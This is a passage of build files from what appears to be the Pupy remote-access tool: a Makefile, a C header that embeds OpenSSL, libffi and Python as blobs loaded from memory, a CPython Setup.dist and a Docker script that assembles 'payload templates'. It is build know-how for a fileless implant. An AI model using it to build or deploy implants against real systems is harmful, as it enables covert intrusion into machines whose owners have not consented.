	sed $@.tmp -e 's@/tmp@\x00tmp@g;s@/usr@\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ )
	rm -f $@.tmp

resources/$(MACH)/libcrypto.so: $(LIBCRYPTO)
	@mkdir -p resources/$(MACH)
	cp -f $< $@.tmp
	-chmod 600 $@.tmp
	-strip $@.tmp
	mv $@.tmp $@
	rm -f $@.tmp

resources/$(MACH)/libssl.so: $(LIBSSL)
	@mkdir -p resources/$(MACH)
	cp -f $< $@.tmp
	-chmod 600 $@.tmp
	-strip $@.tmp
	mv $@.tmp $@
	rm -f $@.tmp

resources/$(MACH)/libffi.so: $(LIBFFI)
	@mkdir -p resources/$(MACH)
	cp -f $< $@.tmp
	-chmod 600 $@.tmp
	-strip $@.tmp
	mv $@.tmp $@
	rm -f $@.tmp

resources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py
	$(PYTHON) -OO $(PFLAGS) $< $@

resources/$(MACH)/_pupy.c: ../gen_resource_header.py resources/$(MACH)/_pupy.so
	$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)

resources/$(MACH)/python3x.c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so
	$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)

resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so
	$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)

resources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so
	$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)

resources/$(MACH)/libffi.c: ../gen_resource_header.py resources/$(MACH)/libffi.so
	$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)

$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)
	$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \
		-Wl,--version-script=pupy.ldscript \
		-Wl,--export-dynamic

$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)
	$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME)-$(SUFFIX).so \
		-Wl,--version-script=pupy.so.ldscript

$(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so: resources/$(MACH)/_pupy.so
	cp resources/$(MACH)/_pupy.so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so

.PHONY: clean all

clean:
	rm -f $(COMMON_OBJS) $(PYOBJS)
	rm -f pupy pupy.so
	rm -f *.o
	rm -f resources/$(MACH)/_pupy.so
	rm -f resources/$(MACH)/_pupy.c
	rm -rf build

distclean: clean
	rm -f resources/*.c
	rm -f resources/$(MACH)/*.c
	rm -f resources/$(MACH)/_pupy.so
	rm -f ld_hooks_$(NAME).c
	rm -f ld_hooks_$(NAME).so
	rm -f import-tab.c
	rm -f import-tab.h
	rm -f revision.h
	rm -rf resources
	rm -rf build

$(COMMON_OBJS) $(PYOBJS): import-tab.h


================================================
FILE: client/sources-linux-py3/Python-dynload-os.h
================================================
#ifndef PYTHON_DYNLOAD_OS_H
#define PYTHON_DYNLOAD_OS_H

#define _GNU_SOURCE
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>

#ifndef PYTHON_LIB_NAME
#define PYTHON_LIB_NAME "python310.so"
#endif

#include "Python-dynload.h"

#define FREE_HMODULE_AFTER_LOAD 1
#define FILE_SYSTEM_ENCODING "utf-8"

typedef void *HMODULE;
typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name);

#ifndef OPENSSL_LIB_VERSION
#define OPENSSL_LIB_VERSION "1.1"
#endif

typedef struct PyPreConfig {
    int _config_init; 
    int parse_argv;
    int isolated;
    int use_environment;
    int configure_locale;
    int coerce_c_locale;
    int coerce_c_locale_warn;
    int legacy_windows_fs_encoding;
    int utf8_mode;
    int dev_mode;
    int allocator;
} PyPreConfig;

typedef struct {
    enum {
        _PyStatus_TYPE_OK=0,
        _PyStatus_TYPE_ERROR=1,
        _PyStatus_TYPE_EXIT=2
    } _type;
    const char *func;
    const char *err_msg;
    int exitcode;
} PyStatus;

typedef struct {
    /* If length is greater than zero, items must be non-NULL
       and all items strings must be non-NULL */
    Py_ssize_t length;
    wchar_t **items;
} PyWideStringList;

typedef struct PyConfig {
    int _config_init;     /* _PyConfigInitEnum value */

    int isolated;
    int use_environment;
    int dev_mode;
    int install_signal_handlers;
    int use_hash_seed;
    unsigned long hash_seed;
    int faulthandler;
    int tracemalloc;
    int perf_profiling;
    int import_time;
    int code_debug_ranges;
    int show_ref_count;
    int dump_refs;
    wchar_t *dump_refs_file;
    int malloc_stats;
    wchar_t *filesystem_encoding;
    wchar_t *filesystem_errors;
    wchar_t *pycache_prefix;
    int parse_argv;
    PyWideStringList orig_argv;
    PyWideStringList argv;
    PyWideStringList xoptions;
    PyWideStringList warnoptions;
    int site_import;
    int bytes_warning;
    int warn_default_encoding;
    int inspect;
    int interactive;
    int optimization_level;
    int parser_debug;
    int write_bytecode;
    int verbose;
    int quiet;
    int user_site_directory;
    int configure_c_stdio;
    int buffered_stdio;
    wchar_t *stdio_encoding;
    wchar_t *stdio_errors;
#ifdef _WIN32
    int legacy_windows_stdio;
#endif
    wchar_t *check_hash_pycs_mode;
    int use_frozen_modules;
    int safe_path;
    int int_max_str_digits;

    /* --- Path configuration inputs ------------ */
    int pathconfig_warnings;
    wchar_t *program_name;
    wchar_t *pythonpath_env;
    wchar_t *home;
    wchar_t *platlibdir;

    /* --- Path configuration outputs ----------- */
    int module_search_paths_set;
    PyWideStringList module_search_paths;
    wchar_t *stdlib_dir;
    wchar_t *executable;
    wchar_t *base_executable;
    wchar_t *prefix;
    wchar_t *base_prefix;
    wchar_t *exec_prefix;
    wchar_t *base_exec_prefix;

    /* --- Parameter only used by Py_Main() ---------- */
    int skip_source_first_line;
    wchar_t *run_command;
    wchar_t *run_module;
    wchar_t *run_filename;

    /* --- Private fields ---------------------------- */

    // Install importlib? If equals to 0, importlib is not initialized at all.
    // Needed by freeze_importlib.
    int _install_importlib;

    // If equal to 0, stop Python initialization before the "main" phase.
    int _init_main;

    // If non-zero, disallow threads, subprocesses, and fork.
    // Default: 0.
    int _isolated_interpreter;

    // If non-zero, we believe we're running from a source tree.
    int _is_python_build;
} PyConfig;


#define DEPENDENCIES                          \
{                                             \
    {                                         \
        "libcrypto.so." OPENSSL_LIB_VERSION,  \
        libcrypto_c_start,                    \
        libcrypto_c_size,                     \
        FALSE                                 \
    }, {                                      \
        "libssl.so." OPENSSL_LIB_VERSION,     \
        libssl_c_start,                       \
        libssl_c_size,                        \
        FALSE                                 \
    }, {                                      \
        "libffi.so.6",                        \
        libffi_c_start,                       \
        libffi_c_size,                        \
        FALSE                                 \
    }, {                                      \
        "python310.so",                       \
        python3x_c_start,                     \
        python3x_c_size,                      \
        TRUE                                  \
    }                                         \
}

#define OSAlloc(size) malloc(size)
#define OSFree(ptr) free(ptr)

#define OSLoadLibrary(name) dlopen(name, RTLD_NOW)
#define OSResolveSymbol dlsym
#define OSUnmapRegion munmap
#define MemLoadLibrary(name, bytes, size, arg) \
    memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL)
#define MemResolveSymbol dlsym
#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)

#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS
static const char *OSGetProgramName()
{
    static BOOL is_set = FALSE;
    static char exe[PATH_MAX] = {'\0'};

    if (is_set)
        return exe;

#if defined(Linux)
    dprint("INVOCATION NAME: %s\n", program_invocation_name);

    if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0)
    {
        if (strstr(exe, "/memfd:"))
        {
            snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
        }
    }
    else
    {
        char *upx_env = getenv("   ");
        if (upx_env)
        {
            snprintf(exe, sizeof(exe), "%s", upx_env);
        }
    }

#elif defined(SunOS)
    strcpy(exe, getexecname());
#endif

    is_set = TRUE;
    return exe;
}

#include "python3x.c"
#include "libcrypto.c"
#include "libssl.c"
#include "libffi.c"
#include "tmplibrary.h"
#endif

#endif


================================================
FILE: client/sources-linux-py3/Python.SunOS10.Setup.dist
================================================
# -*- makefile -*-
# the file Setup is used by the makesetup script to construct the files
# Makefile and config.c, from Makefile.pre and config.c.in,
# respectively.  The file Setup itself is initially copied from
# Setup.dist; once it exists it will not be overwritten, so you can edit
# Setup to your heart's content.  Note that Makefile.pre is created
# from Makefile.pre.in by the toplevel configure script.

# (VPATH notes: Setup and Makefile.pre are in the build directory, as
# are Makefile and config.c; the *.in and *.dist files are in the source
# directory.)

# Each line in this file describes one or more optional modules.
# Modules enabled here will not be compiled by the setup.py script,
# so the file can be used to override setup.py's behavior.

# Lines have the following structure:
#
# <module> ... [<sourcefile> ...] [<cpparg> ...] [<library> ...]
#
# <sourcefile> is anything ending in .c (.C, .cc, .c++ are C++ files)
# <cpparg> is anything starting with -I, -D, -U or -C
# <library> is anything ending in .a or beginning with -l or -L
# <module> is anything else but should be a valid Python
# identifier (letters, digits, underscores, beginning with non-digit)
#
# (As the makesetup script changes, it may recognize some other
# arguments as well, e.g. *.so and *.sl as libraries.  See the big
# case statement in the makesetup script.)
#
# Lines can also have the form
#
# <name> = <value>
#
# which defines a Make variable definition inserted into Makefile.in
#
# Finally, if a line contains just the word "*shared*" (without the
# quotes but with the stars), then the following modules will not be
# built statically.  The build process works like this:
#
# 1. Build all modules that are declared as static in Modules/Setup,
#    combine them into libpythonxy.a, combine that into python.
# 2. Build all modules that are listed as shared in Modules/Setup.
# 3. Invoke setup.py. That builds all modules that
#    a) are not builtin, and
#    b) are not listed in Modules/Setup, and
#    c) can be build on the target
#
# Therefore, modules declared to be shared will not be
# included in the config.c file, nor in the list of objects to be
# added to the library archive, and their linker options won't be
# added to the linker options. Rules to create their .o files and
# their shared libraries will still be added to the Makefile, and
# their names will be collected in the Make variable SHAREDMODS.  This
# is used to build modules as shared libraries.  (They can be
# installed using "make sharedinstall", which is implied by the
# toplevel "make install" target.)  (For compatibility,
# *noconfig* has the same effect as *shared*.)
#
# In addition, *static* explicitly declares the following modules to
# be static.  Lines containing "*static*" and "*shared*" may thus
# alternate throughout this file.

# NOTE: As a standard policy, as many modules as can be supported by a
# platform should be present.  The distribution comes with all modules
# enabled that are supported by most platforms and don't require you
# to ftp sources from elsewhere.


# Some special rules to define PYTHONPATH.
# Edit the definitions below to indicate which options you are using.
# Don't add any whitespace or comments!

# Directories where library files get installed.
# DESTLIB is for Python modules; MACHDESTLIB for shared libraries.
DESTLIB=$(LIBDEST)
MACHDESTLIB=$(BINLIBDEST)

# NOTE: all the paths are now relative to the prefix that is computed
# at run time!

# Standard path -- don't edit.
# No leading colon since this is the first entry.
# Empty since this is now just the runtime prefix.
DESTPATH=

# Site specific path components -- should begin with : if non-empty
SITEPATH=

# Standard path components for test modules
TESTPATH=

# Path components for machine- or system-dependent modules and shared libraries
MACHDEPPATH=:$(PLATDIR)
EXTRAMACHDEPPATH=

# Path component for the Tkinter-related modules
# The TKPATH variable is always enabled, to save you the effort.
TKPATH=:lib-tk

# Path component for old modules.
OLDPATH=:lib-old

COREPYTHONPATH=$(DESTPATH)$(SITEPATH)$(TESTPATH)$(MACHDEPPATH)$(EXTRAMACHDEPPATH)$(TKPATH)$(OLDPATH)
PYTHONPATH=$(COREPYTHONPATH)


# The modules listed here can't be built as shared libraries for
# various reasons; therefore they are listed here instead of in the
# normal order.

# This only contains the minimal set of modules required to run the 
# setup.py script in the root of the Python source tree.

posix posixmodule.c		# posix (UNIX) system calls
errno errnomodule.c		# posix (UNIX) errno values
pwd pwdmodule.c			# this is needed to find out the user's home dir
				# if $HOME is not set
_sre _sre.c			# Fredrik Lundh's new regular expressions
_codecs _codecsmodule.c		# access to the builtin codecs and codec registry
_weakref _weakref.c             # weak references

# The zipimport module is always imported at startup. Having it as a
# builtin module avoids some bootstrapping problems and reduces overhead.
zipimport zipimport.c

# The rest of the modules listed in this file are all commented out by
# default.  Usually they can be detected and built as dynamically
# loaded modules by the new setup.py script added in Python 2.1.  If
# you're on a platform that doesn't support dynamic loading, want to 
# compile modules statically into the Python binary, or need to 
# specify some odd set of compiler switches, you can uncomment the 
# appropriate lines below.

# ======================================================================

# The Python symtable module depends on .h files that setup.py doesn't track
_symtable symtablemodule.c

# The SGI specific GL module:

GLHACK=-Dclear=__GLclear
#gl glmodule.c cgensupport.c -I$(srcdir) $(GLHACK) -lgl -lX11

# Pure module.  Cannot be linked dynamically.
# -DWITH_QUANTIFY, -DWITH_PURIFY, or -DWITH_ALL_PURE
#WHICH_PURE_PRODUCTS=-DWITH_ALL_PURE
#PURE_INCLS=-I/usr/local/include
#PURE_STUBLIBS=-L/usr/local/lib -lpurify_stubs -lquantify_stubs
#pure puremodule.c $(WHICH_PURE_PRODUCTS) $(PURE_INCLS) $(PURE_STUBLIBS)

# Uncommenting the following line tells makesetup that all following
# modules are to be built as shared libraries (see above for more
# detail; also note that *static* reverses this effect):

#*shared*

# GNU readline.  Unlike previous Python incarnations, GNU readline is
# now incorporated in an optional module, configured in the Setup file
# instead of by a configure script switch.  You may have to insert a
# -L option pointing to the directory where libreadline.* lives,
# and you may have to change -ltermcap to -ltermlib or perhaps remove
# it, depending on your system -- see the GNU readline instructions.
# It's okay for this to be a shared library, too.

#readline readline.c -lreadline -ltermcap


# Modules that should always be present (non UNIX dependent):

array arraymodule.c	# array objects
cmath cmathmodule.c  -lm # complex math library functions
math mathmodule.c _math.c # -lm # math library functions, e.g. sin()
_struct _struct.c	# binary structure packing/unpacking
time timemodule.c # -lm # time operations and variables
operator operator.c	# operator.add() and similar goodies
#_testcapi _testcapimodule.c    # Python C API test module
_random _randommodule.c	# Random number generator
_collections _collectionsmodule.c # Container types
_heapq _heapqmodule.c		# Heapq type
itertools itertoolsmodule.c	# Functions creating iterators for efficient looping 
strop stropmodule.c		# String manipulations
_functools _functoolsmodule.c	# Tools for working with functions and callable objects
_elementtree -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI _elementtree.c	# elementtree accelerator
# _pickle _pickle.c	# pickle accelerator
datetime datetimemodule.c	# date/time type
_bisect _bisectmodule.c	# Bisection algorithms

unicodedata unicodedata.c    # static Unicode character database

# access to ISO C locale support
_locale _localemodule.c  -lintl

# Standard I/O baseline
_io -I$(srcdir)/Modules/_io _io/bufferedio.c _io/bytesio.c _io/fileio.c _io/iobase.c _io/_iomodule.c _io/stringio.c _io/textio.c


# Modules with some UNIX dependencies -- on by default:
# (If you have a really backward UNIX, select and socket may not be
# supported...)

fcntl fcntlmodule.c	# fcntl(2) and ioctl(2)
spwd spwdmodule.c		# spwd(3) 
grp grpmodule.c		# grp(3)
select selectmodule.c	# select(2); not on ancient System V

# Memory-mapped files (also works on Win32).
mmap mmapmodule.c

# CSV file helper
#_csv _csv.c

# Socket module helper for socket(2)
_socket socketmodule.c -lnsl

# Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
_ssl _ssl.c -DUSE_SSL -lssl -lcrypto -lnsl

# The crypt module is now disabled by default because it breaks builds
# on many systems (where -lcrypt is needed), e.g. Linux (I believe).
#
# First, look at Setup.config; configure may have set this for you.

crypt cryptmodule.c # -lcrypt	# crypt(3); needs -lcrypt on some systems


# Some more UNIX dependent modules -- off by default, since these
# are not supported by all UNIX systems:

nis nismodule.c -lnsl	# Sun yellow pages -- not everywhere
termios termios.c	# Steen Lumholt's termios module
resource resource.c	# Jeremy Hylton's rlimit interface


# Multimedia modules -- off by default.
# These don't work for 64-bit platforms!!!
# #993173 says audioop works on 64-bit platforms, though.
# These represent audio samples or images as strings:

#audioop audioop.c	# Operations on audio samples
#imageop imageop.c	# Operations on images


# Note that the _md5 and _sha modules are normally only built if the
# system does not have the OpenSSL libs containing an optimized version.

# The _md5 module implements the RSA Data Security, Inc. MD5
# Message-Digest Algorithm, described in RFC 1321.  The necessary files
# md5.c and md5.h are included here.

_md5 md5module.c md5.c


# The _sha module implements the SHA checksum algorithms.
# (NIST's Secure Hash Algorithms.)
_sha shamodule.c
_sha256 sha256module.c
_sha512 sha512module.c


# SGI IRIX specific modules -- off by default.

# These module work on any SGI machine:

# *** gl must be enabled higher up in this file ***
#fm fmmodule.c $(GLHACK) -lfm -lgl		# Font Manager
#sgi sgimodule.c			# sgi.nap() and a few more

# This module requires the header file
# /usr/people/4Dgifts/iristools/include/izoom.h:
#imgfile imgfile.c -limage -lgutil -lgl -lm	# Image Processing Utilities


# These modules require the Multimedia Development Option (I think):

#al almodule.c -laudio			# Audio Library
#cd cdmodule.c -lcdaudio -lds -lmediad	# CD Audio Library
#cl clmodule.c -lcl -lawareaudio	# Compression Library
#sv svmodule.c yuvconvert.c -lsvideo -lXext -lX11	# Starter Video


# The FORMS library, by Mark Overmars, implements user interface
# components such as dialogs and buttons using SGI's GL and FM
# libraries.  You must ftp the FORMS library separately from
# ftp://ftp.cs.ruu.nl/pub/SGI/FORMS.  It was tested with FORMS 2.2a.
# NOTE: if you want to be able to use FORMS and curses simultaneously
# (or both link them statically into the same binary), you must
# compile all of FORMS with the cc option "-Dclear=__GLclear".

# The FORMS variable must point to the FORMS subdirectory of the forms
# toplevel directory:

#FORMS=/ufs/guido/src/forms/FORMS
#fl flmodule.c -I$(FORMS) $(GLHACK) $(FORMS)/libforms.a -lfm -lgl


# SunOS specific modules -- off by default:

sunaudiodev sunaudiodev.c


# A Linux specific module -- off by default; this may also work on 
# some *BSDs.

#linuxaudiodev linuxaudiodev.c


# George Neville-Neil's timing module:

#timing timingmodule.c


# The _tkinter module.
#
# The command for _tkinter is long and site specific.  Please
# uncomment and/or edit those parts as indicated.  If you don't have a
# specific extension (e.g. Tix or BLT), leave the corresponding line
# commented out.  (Leave the trailing backslashes in!  If you
# experience strange errors, you may want to join all uncommented
# lines and remove the backslashes -- the backslash interpretation is
# done by the shell's "read" command and it may not be implemented on
# every system.

# *** Always uncomment this (leave the leading underscore in!):
# _tkinter _tkinter.c tkappinit.c -DWITH_APPINIT \
# *** Uncomment and edit to reflect where your Tcl/Tk libraries are:
#	-L/usr/local/lib \
# *** Uncomment and edit to reflect where your Tcl/Tk headers are:
#	-I/usr/local/include \
# *** Uncomment and edit to reflect where your X11 header files are:
#	-I/usr/X11R6/include \
# *** Or uncomment this for Solaris:
#	-I/usr/openwin/include \
# *** Uncomment and edit for Tix extension only:
#	-DWITH_TIX -ltix8.1.8.2 \
# *** Uncomment and edit for BLT extension only:
#	-DWITH_BLT -I/usr/local/blt/blt8.0-unoff/include -lBLT8.0 \
# *** Uncomment and edit for PIL (TkImaging) extension only:
#     (See http://www.pythonware.com/products/pil/ for more info)
#	-DWITH_PIL -I../Extensions/Imaging/libImaging  tkImaging.c \
# *** Uncomment and edit for TOGL extension only:
#	-DWITH_TOGL togl.c \
# *** Uncomment and edit to reflect your Tcl/Tk versions:
#	-ltk8.2 -ltcl8.2 \
# *** Uncomment and edit to reflect where your X11 libraries are:
#	-L/usr/X11R6/lib \
# *** Or uncomment this for Solaris:
#	-L/usr/openwin/lib \
# *** Uncomment these for TOGL extension only:
#	-lGL -lGLU -lXext -lXmu \
# *** Uncomment for AIX:
#	-lld \
# *** Always uncomment this; X11 libraries to link with:
#	-lX11

# Lance Ellinghaus's syslog module
#syslog syslogmodule.c		# syslog daemon interface


# Curses support, requring the System V version of curses, often
# provided by the ncurses library.  e.g. on Linux, link with -lncurses
# instead of -lcurses).
#
# First, look at Setup.config; configure may have set this for you.

#_curses _cursesmodule.c -lcurses -ltermcap
# Wrapper for the panel library that's part of ncurses and SYSV curses.
#_curses_panel _curses_panel.c -lpanel -lncurses 


# Generic (SunOS / SVR4) dynamic loading module.
# This is not needed for dynamic loading of Python modules --
# it is a highly experimental and dangerous device for calling
# *arbitrary* C functions in *arbitrary* shared libraries:

#dl dlmodule.c


# Modules that provide persistent dictionary-like semantics.  You will
# probably want to arrange for at least one of them to be available on
# your machine, though none are defined by default because of library
# dependencies.  The Python module anydbm.py provides an
# implementation independent wrapper for these; dumbdbm.py provides
# similar functionality (but slower of course) implemented in Python.

# The standard Unix dbm module has been moved to Setup.config so that
# it will be compiled as a shared library by default.  Compiling it as
# a built-in module causes conflicts with the pybsddb3 module since it
# creates a static dependency on an out-of-date version of db.so.
#
# First, look at Setup.config; configure may have set this for you.

#dbm dbmmodule.c 	# dbm(3) may require -lndbm or similar

# Anthony Baxter's gdbm module.  GNU dbm(3) will require -lgdbm:
#
# First, look at Setup.config; configure may have set this for you.

#gdbm gdbmmodule.c -I/usr/local/include -L/usr/local/lib -lgdbm


# Sleepycat Berkeley DB interface.
#
# This requires the Sleepycat DB code, see http://www.sleepycat.com/
# The earliest supported version of that library is 3.0, the latest
# supported version is 4.0 (4.1 is specifically not supported, as that
# changes the semantics of transactional databases). A list of available
# releases can be found at
#
# http://www.sleepycat.com/update/index.html
#
# Edit the variables DB and DBLIBVERto point to the db top directory
# and the subdirectory of PORT where you built it.
#DB=/usr/local/BerkeleyDB.4.0
#DBLIBVER=4.0
#DBINC=$(DB)/include
#DBLIB=$(DB)/lib
#_bsddb _bsddb.c -I$(DBINC) -L$(DBLIB) -ldb-$(DBLIBVER)

# Historical Berkeley DB 1.85
#
# This module is deprecated; the 1.85 version of the Berkeley DB library has
# bugs that can cause data corruption. If you can, use later versions of the
# library instead, available from <http://www.sleepycat.com/>.

#DB=/depot/sundry/src/berkeley-db/db.1.85
#DBPORT=$(DB)/PORT/irix.5.3
#bsddb185 bsddbmodule.c -I$(DBPORT)/include -I$(DBPORT) $(DBPORT)/libdb.a



# Helper module for various ascii-encoders
binascii binascii.c

# Fred Drake's interface to the Python parser
#parser parsermodule.c

# cStringIO and cPickle
cStringIO cStringIO.c
cPickle cPickle.c


# Lee Busby's SIGFPE modules.
# The library to link fpectl with is platform specific.
# Choose *one* of the options below for fpectl:

# For SGI IRIX (tested on 5.3):
#fpectl fpectlmodule.c -lfpe

# For Solaris with SunPro compiler (tested on Solaris 2.5 with SunPro C 4.2):
# (Without the compiler you don't have -lsunmath.)
#fpectl fpectlmodule.c -R/opt/SUNWspro/lib -lsunmath -lm

# For other systems: see instructions in fpectlmodule.c.
#fpectl fpectlmodule.c ...

# Test module for fpectl.  No extra libraries needed.
#fpetest fpetestmodule.c

# Andrew Kuchling's zlib module.
# This require zlib 1.1.3 (or later).
# See http://www.gzip.org/zlib/
zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz

# Interface to the Expat XML parser
#
# Expat was written by James Clark and is now maintained by a group of
# developers on SourceForge; see www.libexpat.org for more
# information.  The pyexpat module was written by Paul Prescod after a
# prototype by Jack Jansen.  Source of Expat 1.95.2 is included in
# Modules/expat/.  Usage of a system shared libexpat.so/expat.dll is
# not advised.
#
# More information on Expat can be found at www.libexpat.org.
#
pyexpat expat/xmlparse.c expat/xmlrole.c expat/xmltok.c pyexpat.c -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI

# Hye-Shik Chang's CJKCodecs

# multibytecodec is required for all the other CJK codec modules
#_multibytecodec cjkcodecs/multibytecodec.c

#_codecs_cn cjkcodecs/_codecs_cn.c
#_codecs_hk cjkcodecs/_codecs_hk.c
#_codecs_iso2022 cjkcodecs/_codecs_iso2022.c
#_codecs_jp cjkcodecs/_codecs_jp.c
#_codecs_kr cjkcodecs/_codecs_kr.c
#_codecs_tw cjkcodecs/_codecs_tw.c

# Example -- included for reference only:
# xx xxmodule.c

# Another example -- the 'xxsubtype' module shows C-level subtyping in action
xxsubtype xxsubtype.c


================================================
FILE: client/sources-linux-py3/build-docker.sh
================================================
#!/bin/sh

SELF=$(readlink -f "$0")
SELFPWD=$(dirname "$SELF")
SRC=${SELFPWD:-$(pwd)}

cd $SRC

PUPY=$(readlink -f ../../pupy/)
TEMPLATES=$PUPY/payload_templates

EXTERNAL=../../pupy/external
PYKCP=$EXTERNAL/pykcp
PYOPUS=$EXTERNAL/pyopus/src
SUFFIX="-`python -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`"
PIP_INSTALL="python -m pip install --upgrade"


set -e

echo "[+] Install python packages"

$PIP_INSTALL pip
$PIP_INSTALL setuptools cython
$PIP_INSTALL -q six packaging appdirs
#CC=/gccwrap

CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \
    $PIP_INSTALL -q pynacl

CFLAGS_FILTER="-Wno-error=sign-conversion" \
    CFLAGS="$CFLAGS -DHEADER_UI_H -D__builtin_unreachable=abort" \
        $PIP_INSTALL -q cryptography --no-binary :all:

export PRCTL_SKIP_KERNEL_CHECK=yes

if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
    export CFLAGS="$CFLAGS -D__NR_ioprio_get=290 -D__NR_ioprio_set=289"
fi
LDFLAGS="$LDFLAGS -Wl,-Bstatic -lcap -Wl,-Bdynamic" \
    $PIP_INSTALL python-prctl

$PIP_INSTALL pyodbc
$PIP_INSTALL \
    pyaml ushlex rsa netaddr pyyaml ecdsa idna impacket \
    paramiko pylzma pydbus python-ptrace psutil scandir \
    scapy colorama pyOpenSSL python-xlib msgpack-python \
    u-msgpack-python dnslib pyxattr pylibacl http_parser \
    https://github.com/alxchk/tinyec/archive/master.zip \
    https://github.com/warner/python-ed25519/archive/master.zip \
    https://github.com/alxchk/urllib-auth/archive/master.zip \
    zeroconf \
    watchdog pulsectl pycryptodomex --no-binary :all:

LDFLAGS="$LDFLAGS -lm -lasound" CFLAGS="$CFLAGS -std=gnu99" \
    $PIP_INSTALL pyalsaaudio  --no-binary :all:

if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
    CFLAGS_PYJNIUS="$CFLAGS"
else
    CFLAGS_PYJNIUS="$CFLAGS -D_LP64"
fi

#CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \
#    python -m pip install \
#    https://github.com/alxchk/pyjnius/archive/master.zip

CFLAGS="$CFLAGS -DDUK_DOUBLE_INFINITY=\"(1.0 / 0.0)\"" \
LDFLAGS="$LDFLAGS -lm" \
    $PIP_INSTALL dukpy --no-binary :all:

#LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \
#    $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip
LDFLAGS="$LDFLAGS -lasound -lm -lrt" $PIP_INSTALL pyaudio

$PIP_INSTALL --force-reinstall pycparser==2.17

echo "[+] Compile pykcp"
rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info}
$PIP_INSTALL --force $PYKCP
python -c 'import kcp' || exit 1

#echo "[+] Compile opus"
#(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages)
#python -c 'import opus' || exit 1

echo "[+] Compile pyuv"

if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
    CFLAGS_PYUV="-O2 -pipe -DCLOCK_MONOTONIC=1 -UHAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC"
    CFLAGS_PYUV="$CFLAGS_PYUV -U_FILE_OFFSET_BITS -D_XOPEN_SOURCE=600 -D__USE_XOPEN2K8"
    CFLAGS_PYUV="$CFLAGS_PYUV -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'"

# It may not be possible to build pyuv with linux32 toolchain, because woody don't have epoll() wrapper yet
# So make an exception
    LDFLAGS="--shared -Os -L/opt/static -static-libgcc -Wl,--allow-shlib-undefined" \
        CFLAGS_FILTER="-D_FILE_OFFSET_BITS=64 -Wl,--no-undefined" CFLAGS="$CFLAGS_PYUV" \
        $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:
else
    CFLAGS="$CFLAGS -D_XOPEN_SOURCE=600 -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'" \
        $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:
fi

#$PIP_INSTALL --no-binary :all: pycryptodome
$PIP_INSTALL https://github.com/Legrandin/pycryptodome/archive/master.zip

#cd /usr/lib/python3.10
cd ~/.pyenv/versions/3.*/lib/python3.*

echo "[+] Strip python modules"
find -name "*.so" | while read f; do strip $f; done

echo "[+] Build python template ($TOOLCHAIN_ARCH)"

rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip
zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip . \
    -x "*.a" -x "*.la" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" \
    -x "*test/*" -x "*tests/*" -x "*examples/*" \
    -x "*.egg-info/*" -x "*.dist-info/*" \
    -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" >/dev/null

#cd /usr/lib
mkdir -p /tmp/libs
cd /tmp/libs
cp /usr/lib/x86_64-linux-gnu/libodbc.so.1 libodbc.so

zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip \
    libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so

echo "[+] Build pupy"

case $TOOLCHAIN_ARCH in
amd64)
    MAKEFLAGS="ARCH=64 MACH=x86_64"
